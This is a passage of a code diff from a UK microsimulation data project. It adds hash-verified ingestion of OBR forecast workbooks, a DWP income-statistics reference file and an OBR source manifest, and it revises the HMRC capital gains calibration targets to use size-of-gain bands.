UTC offset") + return parsed.isoformat() + + +_MONTHS = ( + "january|february|march|april|may|june|july|august|september|october|" + "november|december" +) + + +def _normal(text: str) -> str: + """Unicode-normalised lower case, one plain space between words, dashes as -.""" + text = unicodedata.normalize("NFKC", text) + text = re.sub(r"[\u2010-\u2015\u2212]", "-", text) + return re.sub(r"\s+", " ", text).strip().lower() + + +def check_names(vintage: str, label: str, titles: Mapping[str, str], where: str): + """The vintage, its label and each workbook's own title must agree. + + ``march_2026`` must be labelled "March 2026". Each workbook's title must + name that vintage and no other, call itself the Economic and fiscal + outlook's detailed forecast tables, and end with its kind, ignoring a + closing note in brackets and punctuation: "March 2026 Economic and fiscal + outlook - detailed forecast tables: receipts" or "Economic and fiscal + outlook, March 2026: detailed forecast tables - receipts (revised)". The + title is read from the verified bytes, so the bytes decide the vintage. + """ + if not re.fullmatch(r"[a-z]+_\d{4}", vintage): + raise SourceError(f"{where}: vintage must look like october_2026") + if label.lower().replace(" ", "_") != vintage: + raise SourceError(f"{where}: label {label!r} does not name vintage {vintage!r}") + want = _normal(label) + for kind, title in titles.items(): + normal = _normal(title) + named = set(re.findall(rf"\b(?:{_MONTHS}) \d{{4}}\b", normal)) + tail = re.sub(r"\s*\([^()]*\)\s*$", "", normal).rstrip(" .,:;-") + if ( + named != {want} + or "economic and fiscal outlook" not in normal + or "detailed forecast tables" not in normal + or not re.search(rf"\b{kind}$", tail) + ): + raise SourceError( + f"{where}: the {kind} workbook is titled {title!r}, which is not " + f"the {label} EFO {kind} tables" + ) + + +def load_manifest(path) -> ObrManifest: + path = Path(path) + if not path.is_absolute(): + path = MANIFEST_DIR / path + with open(path) as f: + return parse_manifest(yaml.safe_load(f), path) + + +@lru_cache(maxsize=1) +def active_manifest() -> ObrManifest: + """The manifest ``sources.yaml`` names for the OBR targets.""" + from policyengine_uk_data.targets.sources._common import load_config + + return load_manifest(load_config()["obr"]["manifest"]) + + +def _storage() -> Path: + from policyengine_uk_data.storage import STORAGE_FOLDER + + return Path(STORAGE_FOLDER) + + +def sha256_bytes(data: bytes) -> str: + return hashlib.sha256(data).hexdigest() + + +def verified_bytes(entry: SourceFile, storage: Optional[Path] = None) -> bytes: + """The file's bytes, if and only if they are the ones the manifest names.""" + path = (storage or _storage()) / entry.path + if not path.is_file(): + raise SourceError(f"OBR {entry.kind} workbook {path} is missing") + data = path.read_bytes() + if len(data) != entry.size_bytes or sha256_bytes(data) != entry.sha256: + raise SourceError( + f"OBR {entry.kind} workbook {path} is not the file its manifest " + f"names: {len(data)} bytes, sha256 {sha256_bytes(data)}, against " + f"{entry.size_bytes} bytes, sha256 {entry.sha256}" + ) + return data + + +def workbook_title(wb: openpyxl.Workbook) -> str: + """The title an EFO workbook gives itself (Contents sheet, cell B2).""" + if "Contents" not in wb.sheetnames: + raise SourceError("the workbook has no Contents sheet") + return str(wb["Contents"]["B2"].value or "").strip() + + +def load_workbook( + kind: str, + manifest: Optional[ObrManifest] = None, + storage: Optional[Path] = None, +) -> openpyxl.Workbook: + """Open a manifest's verified workbook, checking it carries its own title.""" + manifest = manifest or active_manifest() + entry = manifest.files[kind] + wb = openpyxl.load_workbook( + io.BytesIO(verified_bytes(entry, storage)), data_only=False + ) + if workbook_title(wb) != entry.title: + raise SourceError( + f"OBR {kind} workbook is titled {workbook_title(wb)!r}, not {entry.title!r}" + ) + return wb + + +def year_columns(ws, first_year: int, last_year: int) -> dict: + """Map the column letters of a table's financial-year headers to years. + + The header row is the first of the top rows with cells reading like + "2025-26"; each maps to the calendar year it starts in. The years must + be exactly ``first_year`` to ``last_year``, each once, so a table that + starts a year later, or misses a year, fails rather than being read + with the wrong labels. + """ + for row in ws.iter_rows(min_row=1, max_row=_HEADER_ROWS): + found = {} + for cell in row: + match = ( + _FINANCIAL_YEAR.match(cell.value) + if isinstance(cell.value, str) + else None + ) + if not match: + continue + start, end = int(match[1]), int(match[2]) + if (start + 1) % 100 != end: + raise SourceError( + f"{ws.title}!{cell.coordinate}: {cell.value!r} is not one " + "financial year" + ) + if start in found.values(): + raise SourceError( + f"{ws.title}: {cell.value!r} heads two columns of row {cell.row}" + ) + found[cell.column_letter] = start + if found: + years = sorted(found.values()) + if years != list(range(first_year, last_year + 1)): + raise SourceError( + f"{ws.title}: header row {row[0].row} covers " + f"{', '.join(str(y) for y in years)}, but the manifest " + f"declares {first_year} to {last_year}" + ) + return found + raise SourceError( + f"{ws.title}: no row of financial-year headers in rows 1-{_HEADER_ROWS}" + ) + + +def unit_scale(ws, unit: str) -> float: + """The multiplier for a table's values, from its unit label.""" + for row in ws.iter_rows(min_row=1, max_row=_UNIT_ROWS): + for cell in row: + if isinstance(cell.value, str) and cell.value.strip().startswith(unit): + return UNIT_SCALES[unit] + raise SourceError(f"{ws.title}: no {unit!r} unit label in rows 1-{_UNIT_ROWS}") + + +# A row label giving its own unit, as table 4.19's "Standard colour licence +# fee (£)" or "Number of UK households (m)" do under a "£ billion unless +# otherwise stated" table. Broad on purpose (Sol re-review of #592): any £, % +# or "per cent" in the label, or a unit word in brackets or after a final +# comma, refuses the row, in any spelling. +_UNIT_WORD = ( + r"(?:bn|billions?|millions?|thousands?|0{3}s?|m|p|pence|per\s*cent|" + r"percentage points?|ppts?)" +) +_ROW_UNIT = re.compile( + rf"£|%|\bper\s*cent\b|\([^()]*\b{_UNIT_WORD}\b[^()]*\)|,\s*{_UNIT_WORD}\s*$", + re.IGNORECASE, +) +# A sub-heading that restates the unit for the rows under it, as "£ million" +# or "Memo: per cent". One giving the table's own unit, as "£ billion" or "£bn" +# under a "£ billion unless otherwise stated" table, changes nothing and is +# not refused. +_UNIT_HEADING = re.compile( + rf"^\s*(?:memo\s*:?\s*)?(?P(?:£\s*)?{_UNIT_WORD})" + r"(?:\s+unless otherwise stated)?\s*$", + re.IGNORECASE, +) +# How each unit in UNIT_SCALES may be spelt in such a sub-heading. +_TABLE_UNIT_SPELLINGS = {"£ billion": re.compile(r"£\s*(?:bn|billions?)")} + + +def read_row(ws, row: int, manifest: ObrManifest) -> dict: + """A table row's numeric values by year, in pounds. + + Refuses a row whose label states a unit of its own: the table's unit is + applied to every row read. + """ + label = str(ws[f"B{row}"].value or "") + if _ROW_UNIT.search(_normal(label)): + raise SourceError( + f"{ws.title}!B{row}: {label!r} states its own unit, not the table's " + f"{manifest.unit}" + ) + own_unit = _TABLE_UNIT_SPELLINGS[manifest.unit] + for above in range(_UNIT_ROWS + 1, row): + for column in "AB": + heading = ws[f"{column}{above}"].value + match = isinstance(heading, str) and _UNIT_HEADING.match(_normal(heading)) + if match and not own_unit.fullmatch(match["unit"]): + raise SourceError( + f"{ws.title}!{column}{above}: the sub-heading {heading!r} above " + f"row {row} gives its own unit, not the table's {manifest.unit}" + ) + scale = unit_scale(ws, manifest.unit) + out = {} + for column, year in year_columns( + ws, manifest.first_year, manifest.last_year + ).items(): + value = ws[f"{column}{row}"].value + if isinstance(value, (int, float)) and not isinstance(value, bool): + out[year] = float(value) * scale + return out + + +def coverage_problems(targets: Sequence, manifest: ObrManifest) -> list: + """Everything wrong with the targets built from a vintage's workbooks. + + ``targets`` are all the targets the workbooks yielded. Each must carry + the manifest's vintage; each required target must be present with every + year of the manifest; one set of each ``any_of`` group must be present; + and no workbook target may be missing from the manifest, so the manifest + stays the complete list. + """ + built = {t.name: t for t in targets} + names = [t.name for t in targets] + problems = [ + f"{name} was built more than once" + for name in sorted({n for n in names if names.count(n) > 1}) + ] + problems += [ + f"{t.name} carries vintage {t.forecast_vintage!r}, not {manifest.vintage!r}" + for t in targets + if t.forecast_vintage != manifest.vintage + ] + for name in manifest.required: + if name not in built: + problems.append(f"{name} was not built") + for groups in manifest.alternatives: + if not any(group <= set(built) for group in groups): + options = " or ".join("+".join(sorted(g)) for g in groups) + problems.append(f"none of {options} was built") + declared = set(manifest.required).union( + *(group for groups in manifest.alternatives for group in groups) + ) + for name, target in sorted(built.items()): + if name not in declared: + problems.append(f"{name} was built but is not in the manifest") + missing = [y for y in manifest.years if y not in target.values] + if missing: + problems.append( + f"{name} has no value for {', '.join(str(y) for y in missing)}" + ) + return problems + + +def check_coverage(targets: Sequence, manifest: ObrManifest) -> None: + problems = coverage_problems(targets, manifest) + if problems: + raise SourceError( + f"OBR {manifest.label} targets are incomplete: " + "; ".join(problems) + ) + + +def target_diff(old: Sequence, new: Sequence) -> list: + """Each workbook target's value by year in two target sets.""" + before = {t.name: t for t in old} + after = {t.name: t for t in new} + rows = [] + for name in sorted(set(before) | set(after)): + a, b = before.get(name), after.get(name) + years = sorted(set(a.values if a else {}) | set(b.values if b else {})) + for year in years: + x = a.values.get(year) if a else None + y = b.values.get(year) if b else None + rows.append({"target": name, "year": year, "old": x, "new": y}) + return rows + + +def _manifest_yaml(manifest: ObrManifest, alternatives_raw) -> str: + raw = { + "schema_version": 1, + "vintage": manifest.vintage, + "label": manifest.label, + "first_year": manifest.first_year, + "last_year": manifest.last_year, + "unit": manifest.unit, + "files": { + kind: { + "path": f.path, + "sha256": f.sha256, + "size_bytes": f.size_bytes, + "title": f.title, + "url": f.url, + "retrieved": f.retrieved, + **({"downloaded_at": f.downloaded_at} if f.downloaded_at else {}), + "downloaded_at_basis": f.downloaded_at_basis, + } + for kind, f in manifest.files.items() + }, + "targets": { + "required": list(manifest.required) + + [{"any_of": groups} for groups in alternatives_raw] + }, + } + header = ( + f"# OBR Economic and fiscal outlook, {manifest.label}: detailed forecast\n" + "# tables. Written by `python -m policyengine_uk_data.targets.obr_sources\n" + "# ingest`; see that module for what each field means.\n" + ) + return header + yaml.safe_dump(raw, sort_keys=False, allow_unicode=True) + + +class IngestResult(NamedTuple): + manifest: ObrManifest + path: Path # where the manifest is, or would be, written + diff: list # each target's current and new value by year + # What a real ingest would refuse. Only a dry run returns any; a real + # ingest raises them instead. + refusals: list + + +def is_obr_page(url) -> bool: + """Whether a download page is https on obr.uk or one of its subdomains. + + The address must be the host alone, or with port 443: no user name, no + other port, and no backslash, which ``urlsplit`` leaves in the address. + """ + try: + parts = urlsplit(str(url)) + host = parts.hostname or "" + except ValueError: + return False + return ( + parts.scheme == "https" + and parts.netloc.lower() in (host, f"{host}:443") + and bool(re.fullmatch(r"(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)*obr\.uk", host)) + ) + + +def ingest( + *, + vintage: str, + label: str, + sources: Mapping[str, Path], + urls: Mapping[str, str], + first_year: int, + last_year: int, + current: Optional[ObrManifest] = None, + storage: Optional[Path] = None, + manifest_dir: Optional[Path] = None, + retrieved: Optional[str] = None, + downloaded_at: Optional[Mapping[str, str]] = None, + dry_run: bool = False, +) -> IngestResult: + """Adopt a vintage's two workbooks. + + Each workbook's SHA-256, size and download time go into the manifest. + The download time is ``downloaded_at[kind]`` if given (basis ``given``), + otherwise the file's modification time (basis ``mtime``). Copying a file + without keeping its times, or unzipping it, changes that time, so give + the time for such a file. + + A real ingest refuses an ingested vintage, an earlier ingest's leftovers + and a download page that is not https on obr.uk. A dry run returns those + as ``refusals`` instead; it checks everything else as a real ingest does, + raising on any other problem, returns the diff and writes nothing. The + manifest it returns is not on disk. A dry run of the active vintage on + the bytes its manifest names is a rehearsal, so that manifest is not a + refusal. + + Everything is checked in a staging folder first: both workbooks read + and carry the vintage's titles, and the build's parsers yield every + required target and year from them. Only then are the files moved + into storage and the manifest written, each under a temporary name that + is renamed into place. A vintage already in storage or in the manifests + folder is never replaced, and a partial ingest is named on the next try. + """ + import tempfile + + from policyengine_uk_data.targets.sources import obr + + current = current or active_manifest() + storage = Path(storage or _storage()) + manifest_dir = Path(manifest_dir or MANIFEST_DIR) + retrieved = retrieved or ( + f"downloaded in a browser and ingested on {date.today().isoformat()}" + ) + downloaded_at = dict(downloaded_at or {}) + destination = storage / "obr_efo" / vintage + path = manifest_dir / f"obr_{vintage}.yaml" + partial_dir = destination.parent / f".{vintage}.partial" + partial_manifest = path.with_name(f".{path.name}.partial") + data = {kind: Path(sources[kind]).read_bytes() for kind in KINDS} + rehearsal = ( + dry_run + and current.path is not None + and path.resolve() == Path(current.path).resolve() + and all(sha256_bytes(data[k]) == current.files[k].sha256 for k in KINDS) + ) + refusals = [] + if path.exists(): + if not rehearsal: + refusals.append( + f"{vintage} is already ingested ({path} exists); remove it " + "deliberately before ingesting again" + ) + else: + leftovers = [ + p for p in (destination, partial_dir, partial_manifest) if p.exists() + ] + if leftovers: + refusals.append( + f"an earlier ingest of {vintage} stopped part way: " + f"{', '.join(str(p) for p in leftovers)} exist but {path.name} does " + "not. Remove them deliberately, then ingest again" + ) + missing = [kind for kind in KINDS if not is_obr_page(urls.get(kind, ""))] + if missing: + refusals.append( + "give the obr.uk https page each workbook was downloaded from (" + + ", ".join(f"--{kind}-url" for kind in missing) + + "); every target cites it" + ) + if refusals and not dry_run: + raise SourceError("ingest: " + "; ".join(refusals)) + files, titles = {}, {} + for kind in KINDS: + try: + wb = openpyxl.load_workbook(io.BytesIO(data[kind]), data_only=False) + except Exception as error: + raise SourceError( + f"{sources[kind]} is not an xlsx workbook ({type(error).__name__}: " + f"{error}); obr.uk serves an HTML page to scripted downloads, so " + "download the workbook in a browser" + ) from error + titles[kind] = workbook_title(wb) + given = downloaded_at.get(kind) + mtime = datetime.fromtimestamp( + Path(sources[kind]).stat().st_mtime, tz=timezone.utc + ) + files[kind] = SourceFile( + kind=kind, + path=f"obr_efo/{vintage}/{kind}.xlsx", + sha256=sha256_bytes(data[kind]), + size_bytes=len(data[kind]), + title=titles[kind], + url=urls.get(kind, ""), + retrieved=retrieved, + downloaded_at=_timestamp(given or mtime, f"ingest: {kind}"), + downloaded_at_basis="given" if given else "mtime", + ) + check_names(vintage, label, titles, "ingest") + manifest = ObrManifest( + vintage=vintage, + label=label, + first_year=first_year, + last_year=last_year, + unit=current.unit, + files=files, + required=current.required, + alternatives=current.alternatives, + ) + with tempfile.TemporaryDirectory() as staging: + staging = Path(staging) + for kind in KINDS: + staged = staging / files[kind].path + staged.parent.mkdir(parents=True, exist_ok=True) + staged.write_bytes(data[kind]) + # Raises unless the new workbooks yield every target and year required. + new = obr.workbook_targets(manifest, staging) + diff = target_diff(obr.workbook_targets(current), new) + text = _manifest_yaml( + manifest, + [[sorted(group) for group in groups] for groups in current.alternatives], + ) + parse_manifest(yaml.safe_load(text), path) # reads back before it is written + if dry_run: + return IngestResult(manifest, path, diff, refusals) + # Write each part under a temporary name and rename it into place, so an + # interrupted ingest leaves a partial file that the next attempt names, + # never a half-written workbook or manifest under the real name. + partial_dir.mkdir(parents=True) + for kind in KINDS: + (partial_dir / f"{kind}.xlsx").write_bytes(data[kind]) + os.replace(partial_dir, destination) + manifest_dir.mkdir(parents=True, exist_ok=True) + partial_manifest.write_text(text) + os.replace(partial_manifest, path) + return IngestResult(load_manifest(path), path, diff, []) + + +def _gbp(value) -> str: + return "" if value is None else f"{value / 1e9:,.3f}" + + +def main(argv=None) -> int: + parser = argparse.ArgumentParser( + prog="python -m policyengine_uk_data.targets.obr_sources" + ) + sub = parser.add_subparsers(dest="command", required=True) + i = sub.add_parser("ingest", help="adopt a new EFO vintage's workbooks") + i.add_argument("--vintage", required=True, help="e.g. october_2026") + i.add_argument("--label", required=True, help='e.g. "October 2026"') + i.add_argument("--receipts", required=True, type=Path) + i.add_argument("--expenditure", required=True, type=Path) + i.add_argument( + "--receipts-url", default="", help="the obr.uk page it was downloaded from" + ) + i.add_argument( + "--expenditure-url", default="", help="the obr.uk page it was downloaded from" + ) + i.add_argument("--first-year", required=True, type=int) + i.add_argument("--last-year", required=True, type=int) + i.add_argument("--retrieved", help="how the files were obtained") + i.add_argument( + "--downloaded-at", + help="when the workbooks were downloaded (ISO 8601 with offset), " + "recorded with basis 'given'; default: each file's modification time, " + "with basis 'mtime'", + ) + i.add_argument( + "--dry-run", + action="store_true", + help="check everything and print the change, but write nothing; " + "exits 1 if the real ingest would refuse", + ) + v = sub.add_parser("verify", help="verify the active manifest's workbooks") + v.add_argument("--manifest", help="manifest file (default: the active one)") + args = parser.parse_args(argv) + if args.command == "verify": + from policyengine_uk_data.targets.sources import obr + + manifest = load_manifest(args.manifest) if args.manifest else active_manifest() + targets = obr.workbook_targets(manifest) + check_coverage(targets, manifest) + print(f"{manifest.label}: both workbooks verified, {len(targets)} targets") + return 0 + result = ingest( + vintage=args.vintage, + label=args.label, + sources={"receipts": args.receipts, "expenditure": args.expenditure}, + urls={"receipts": args.receipts_url, "expenditure": args.expenditure_url}, + first_year=args.first_year, + last_year=args.last_year, + retrieved=args.retrieved, + downloaded_at={kind: args.downloaded_at for kind in KINDS} + if args.downloaded_at + else None, + dry_run=args.dry_run, + ) + manifest, path = result.manifest, result.path + for kind, f in manifest.files.items(): + print( + f"{kind}: {f.title}; sha256 {f.sha256}, {f.size_bytes:,} bytes, " + f"downloaded {f.downloaded_at} (basis: {f.downloaded_at_basis})" + ) + print("target,year,current £bn,new £bn") + for row in result.diff: + print(f"{row['target']},{row['year']},{_gbp(row['old'])},{_gbp(row['new'])}") + if not args.dry_run: + print(f"wrote {path}") + print(f"To adopt it, set obr.manifest in sources.yaml to {path.name}.") + return 0 + current = active_manifest() + if manifest.vintage == current.vintage: + for kind, f in manifest.files.items(): + same = f.sha256 == current.files[kind].sha256 + print( + f"{kind}: {'the same bytes as' if same else 'different bytes from'} " + f"the committed {current.label} workbook" + ) + for refusal in result.refusals: + print(f"would refuse: {refusal}") + if result.refusals: + return 1 + if path.exists(): + print(f"{path} already names these bytes: a rehearsal, nothing to write") + else: + print(f"would write {path}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml b/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml new file mode 100644 index 000000000..c209ab767 --- /dev/null +++ b/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml @@ -0,0 +1,27 @@ +# Households below average income, FYE 2025 (DWP, 26 March 2026), from the +# published data tables: +# https://assets.publishing.service.gov.uk/media/69c2902a7e02b81c0d1c7762/hbai-data_tables-2025.zip +# uncertainty-hbai-2024-25-tables.ods, tables 8a (medians, means, Gini) and +# 8b (low income), read on 15 October 2026. Estimates and 95% confidence +# intervals for the United Kingdom, FRS 2024/25, which policyengine-uk models +# as period 2024. Incomes are equivalised, in £ a week at 2024/25 prices; +# rates and Gini coefficients are per cent. +schema_version: 1 +source: DWP Households below average income FYE 2025 +period: 2024 +measures: + median_bhc: {estimate: 719.481062, low: 703.567322, high: 735.575892, table: 8a} + median_ahc: {estimate: 623.144059, low: 605.209749, high: 637.071794, table: 8a} + mean_bhc: {estimate: 854.979494, low: 836.367495, high: 870.351587, table: 8a} + mean_ahc: {estimate: 749.82155, low: 732.329379, high: 764.496483, table: 8a} + gini_bhc: {estimate: 32.736632, low: 31.889881, high: 33.978308, table: 8a} + gini_ahc: {estimate: 36.780956, low: 35.897706, high: 38.293054, table: 8a} + # Percentage of individuals below 60% of the relative median. + relative_low_income_bhc_all: {estimate: 15.911572, low: 14.446526, high: 17.637657, table: 8b} + relative_low_income_bhc_children: {estimate: 20.519181, low: 17.356404, high: 23.955585, table: 8b} + relative_low_income_bhc_working_age: {estimate: 14.281508, low: 12.908347, high: 16.018814, table: 8b} + relative_low_income_bhc_pensioners: {estimate: 15.895071, low: 13.690455, high: 17.991754, table: 8b} + relative_low_income_ahc_all: {estimate: 19.640844, low: 17.9939, high: 21.271606, table: 8b} + relative_low_income_ahc_children: {estimate: 27.41076, low: 23.49369, high: 30.644085, table: 8b} + relative_low_income_ahc_working_age: {estimate: 18.579734, low: 17.012601, high: 20.343162, table: 8b} + relative_low_income_ahc_pensioners: {estimate: 13.866371, low: 11.618244, high: 15.898207, table: 8b} diff --git a/policyengine_uk_data/targets/registry.py b/policyengine_uk_data/targets/registry.py index b4c971084..40941ae30 100644 --- a/policyengine_uk_data/targets/registry.py +++ b/policyengine_uk_data/targets/registry.py @@ -31,6 +31,11 @@ def discover_source_modules() -> list: return modules +def emitted_targets() -> list[Target]: + """Every target the source modules emit, in order, duplicate names included.""" + return [target for mod in discover_source_modules() for target in mod.get_targets()] + + def get_all_targets( year: int | None = None, geographic_level: GeographicLevel | None = None, @@ -43,23 +48,20 @@ def get_all_targets( geographic_level: if provided, filter to this geographic level. Returns: - De-duplicated list of Target objects. + De-duplicated list of Target objects: of the targets that pass the + filters, the first of each name. ``emitted_targets`` keeps them all. """ all_targets: list[Target] = [] seen_names: set[str] = set() - for mod in discover_source_modules(): - for target in mod.get_targets(): - if target.name in seen_names: - continue - if year is not None and year not in target.values: - continue - if ( - geographic_level is not None - and target.geographic_level != geographic_level - ): - continue - seen_names.add(target.name) - all_targets.append(target) + for target in emitted_targets(): + if target.name in seen_names: + continue + if year is not None and year not in target.values: + continue + if geographic_level is not None and target.geographic_level != geographic_level: + continue + seen_names.add(target.name) + all_targets.append(target) return all_targets diff --git a/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml b/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml new file mode 100644 index 000000000..4339a8714 --- /dev/null +++ b/policyengine_uk_data/targets/source_manifests/obr_march_2026.yaml @@ -0,0 +1,61 @@ +# OBR Economic and fiscal outlook, March 2026: detailed forecast +# tables. Written by `python -m policyengine_uk_data.targets.obr_sources +# ingest`; see that module for what each field means. +schema_version: 1 +vintage: march_2026 +label: March 2026 +first_year: 2024 +last_year: 2030 +unit: £ billion +files: + receipts: + path: obr_efo/efo_receipts.xlsx + sha256: f65b6cb7f96931d4abd85940794eb60f6f65afca8bbf16c74a4548bf92766a28 + size_bytes: 187899 + title: 'March 2026 Economic and fiscal outlook – detailed forecast tables: receipts' + url: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-receipts/ + retrieved: Committed on 2026-07-21 in 11e41f9d, as the download fallback. The + workbook's own properties record it as modified on 2026-03-02. obr.uk refused + scripted downloads on 2026-10-15 (HTTP 403), so the bytes were not re-fetched + for this manifest. + downloaded_at_basis: unrecorded + expenditure: + path: obr_efo/efo_expenditure.xlsx + sha256: 700bfd700c872794e5fe8cf164086cd38a63850db26427b9d4b2e363d177d9a1 + size_bytes: 236965 + title: 'March 2026 Economic and fiscal outlook – detailed forecast tables: expenditure' + url: https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-expenditure/ + retrieved: Committed on 2026-07-21 in 11e41f9d, as the download fallback. The + workbook's own properties record it as modified on 2026-03-02. obr.uk refused + scripted downloads on 2026-10-15 (HTTP 403), so the bytes were not re-fetched + for this manifest. + downloaded_at_basis: unrecorded +targets: + required: + - obr/income_tax + - obr/vat + - obr/fuel_duties + - obr/capital_gains_tax + - obr/sdlt + - obr/ni_employee + - obr/ni_employer + - obr/council_tax + - obr/council_tax_england + - obr/council_tax_scotland + - obr/council_tax_wales + - obr/domestic_rates + - obr/pip + - obr/esa + - obr/attendance_allowance + - obr/carers_allowance + - obr/statutory_maternity_pay + - obr/winter_fuel_allowance + - obr/child_benefit + - obr/state_pension + - obr/jobseekers_allowance + - obr/universal_credit + - obr/tv_licence_fee + - any_of: + - - obr/ni_self_employed + - - obr/ni_class_2 + - obr/ni_class_4 diff --git a/policyengine_uk_data/targets/sources.yaml b/policyengine_uk_data/targets/sources.yaml index 973e39567..a5a3b7733 100644 --- a/policyengine_uk_data/targets/sources.yaml +++ b/policyengine_uk_data/targets/sources.yaml @@ -2,9 +2,10 @@ # Update these when new vintages are published. obr: - efo_receipts: "https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-receipts/" - efo_expenditure: "https://obr.uk/download/march-2026-economic-and-fiscal-outlook-detailed-forecast-tables-expenditure/" - vintage: "march_2026" + # The EFO vintage the OBR targets come from: a manifest in + # targets/source_manifests/ naming its hash-verified workbooks. Adopt a new + # vintage with `python -m policyengine_uk_data.targets.obr_sources ingest`. + manifest: obr_march_2026.yaml hmrc: spi_collated: "https://assets.publishing.service.gov.uk/media/69f1f12d2fae53a03709682f/Collated_Tables_3_1_to_3_11_2324.ods" diff --git a/policyengine_uk_data/targets/sources/hmrc_cgt.py b/policyengine_uk_data/targets/sources/hmrc_cgt.py index f2936068e..900b47d98 100644 --- a/policyengine_uk_data/targets/sources/hmrc_cgt.py +++ b/policyengine_uk_data/targets/sources/hmrc_cgt.py @@ -1,47 +1,57 @@ """HMRC capital gains targets. The Enhanced FRS imputes capital gains, but nothing in the calibration -constrains how those gains are *distributed* across households. Measured -on the stock weights for 2026, the microdata carries 1.29m CGT taxpayers -holding £112bn of gains (an £87,158 mean) against HMRC's 378k taxpayers, -£65.9bn and a ~£174,000 mean: 3.4x too many taxpayers, each holding a -gain about half the administrative average. That is a distributional -error, not a level shift, so a revenue target cannot fix it. - -Two targets are added: +constrains how those gains are *distributed* across households unless it +is told HMRC's distribution. HMRC's Capital Gains Tax statistics publish, +for individuals with a CGT liability, the number of taxpayers and their +gains by size of gain (Table 2.1a). Each size band at or above the annual +exempt amount (AEA) becomes a target pair, and their sums become two +aggregate targets: * ``hmrc/capital_gains_total`` — total chargeable gains of CGT taxpayers. * ``hmrc/cgt_taxpayers`` — the number of CGT taxpayers. - -Both use a ``custom_compute``. The default count path in +* ``hmrc/cgt_taxpayers_band_{lower}`` and + ``hmrc/capital_gains_band_{lower}`` — the same two statistics for each + size-of-gain band. + +Individuals only: the model's gains belong to people, so the targets come +from Table 2.1a (individuals), not from the all-taxpayer headline, which +also counts trusts and personal representatives (Table 1: 584,000 +taxpayers and £127.3bn in 2024-25, of which trusts are 32,000 and +£8.1bn). The aggregates are the sums of the targeted bands, so the +aggregate and band targets cannot disagree. + +Every target uses a ``custom_compute``. The default count path in ``build_loss_matrix._compute_simple_count`` counts people with ``capital_gains > 0``, which is not HMRC's concept: HMRC counts CGT -*taxpayers*, i.e. people whose gains exceed the annual exempt amount -(AEA). The amount target is gated on the same AEA condition, for the -same reason — HMRC's £65.9bn is the gains of CGT-liable taxpayers, not -all gains realised in the economy. Gating only the count and leaving the -amount ungated would target a mean gain that is a ratio of two different -populations, and would let the optimiser satisfy the amount with -sub-threshold gains that HMRC never counts. +*taxpayers*, i.e. people whose gains exceed the AEA. The amounts are +gated on the same AEA condition, for the same reason — HMRC's total is +the gains of CGT-liable taxpayers, not all gains realised in the economy. +Gating only the count and leaving the amount ungated would target a mean +gain that is a ratio of two different populations, and would let the +optimiser satisfy the amount with sub-threshold gains that HMRC never +counts. The AEA is policy-dependent (£12,300 for 2022-23, £6,000 for 2023-24, £3,000 from 2024-25) and is read from PolicyEngine's own parameter tree -for the simulation year, so the target's meaning tracks the policy in -force. ``_AEA_FALLBACK`` is used only if the parameter lookup fails. +for the simulation year, so the gate tracks the policy in force. +``_AEA_FALLBACK`` is used only if the parameter lookup fails. -Year handling: HMRC's figures are the 2023-24 outturn, mapped to -calendar 2024 following ``hmrc_spi._SPI_YEAR``. The amount is projected +Year handling: HMRC's figures are the 2024-25 outturn. PolicyEngine UK's +year N is tax year N to N+1, so the outturn is the 2024 value: the survey +year of the FRS release the build starts from, and a year with the same +£3,000 AEA as the years the calibration runs for. Amounts are projected to 2029 with PolicyEngine's ``capital_gains`` uprating factors so the -target constrains the projection years the calibration actually runs -for; the taxpayer count is held flat, as the repo has no administrative -basis for forecasting CGT taxpayer numbers and count uprating factors -would be a nominal-income index applied to a headcount. +targets constrain the projection years; taxpayer counts are held flat, as +the repo has no administrative basis for forecasting CGT taxpayer numbers +and count uprating factors would be a nominal-income index applied to a +headcount. -Caveat: the 2023-24 outturn was realised under a £6,000 AEA, while the -gate applied in later years uses the £3,000 AEA then in force. The -targets are therefore approximate for the projection years; the -alternative (a fixed £6,000 gate) would be wrong in a different and less -transparent way, because it would not describe any year's actual policy. +Caveat: 2024-25 is an unusual year. HMRC's commentary attributes part of +the rise in gains (£66.6bn to £119.3bn for individuals) to disposals +brought forward ahead of the 30 October 2024 rate rise. Carrying that +year forward with a nominal-income index assumes gains stay at that +level. Source: https://www.gov.uk/government/statistics/capital-gains-tax-statistics """ @@ -55,15 +65,11 @@ logger = logging.getLogger(__name__) -# HMRC CGT statistics, tax year 2023-24 outturn, mapped to calendar 2024 -# following the hmrc_spi._SPI_YEAR convention. +# HMRC CGT statistics, tax year 2024-25 outturn. PolicyEngine UK's year N +# is tax year N to N+1, so the outturn is the 2024 value. _CGT_BASE_YEAR = 2024 _MAX_YEAR = 2029 - -# Total chargeable gains of CGT taxpayers, 2023-24 (£65.9bn). -_CGT_TOTAL_GAINS = 65.9e9 -# Number of CGT taxpayers, 2023-24. -_CGT_TAXPAYERS = 378_000 +_OUTTURN_LABEL = "2024-25 outturn" # Annual exempt amount by tax year start, used only if the PolicyEngine # parameter lookup fails. @@ -75,6 +81,41 @@ _PARAMETER_PATH = "gov.hmrc.cgt.annual_exempt_amount" +# HMRC Table 2.1a (committed as capital_gains_size_distribution_hmrc.csv) +# publishes individuals' taxpayer counts and gains by size of gain. +_SIZE_BANDS_FILE = "capital_gains_size_distribution_hmrc.csv" +# The table's tax year had a £3,000 AEA. Its one band under that limit +# holds the few people liable with smaller gains (3,000 people and £1m in +# 2024-25); the AEA gate cannot represent them, so the targets start at +# the AEA. +_MIN_BAND_LOWER = 3_000 + + +def load_size_bands(): + """HMRC size-of-gain bands at or above the table year's AEA.""" + import pandas as pd + + from policyengine_uk_data.storage import STORAGE_FOLDER + + bands = pd.read_csv(STORAGE_FOLDER / _SIZE_BANDS_FILE, comment="#") + bands = bands[bands.lower_limit >= _MIN_BAND_LOWER].reset_index(drop=True) + bands["upper_limit"] = bands.lower_limit.shift(-1).fillna(np.inf) + return bands + + +def _outturn_totals() -> tuple[float, float]: + """Taxpayers and gains summed over the targeted bands.""" + bands = load_size_bands() + 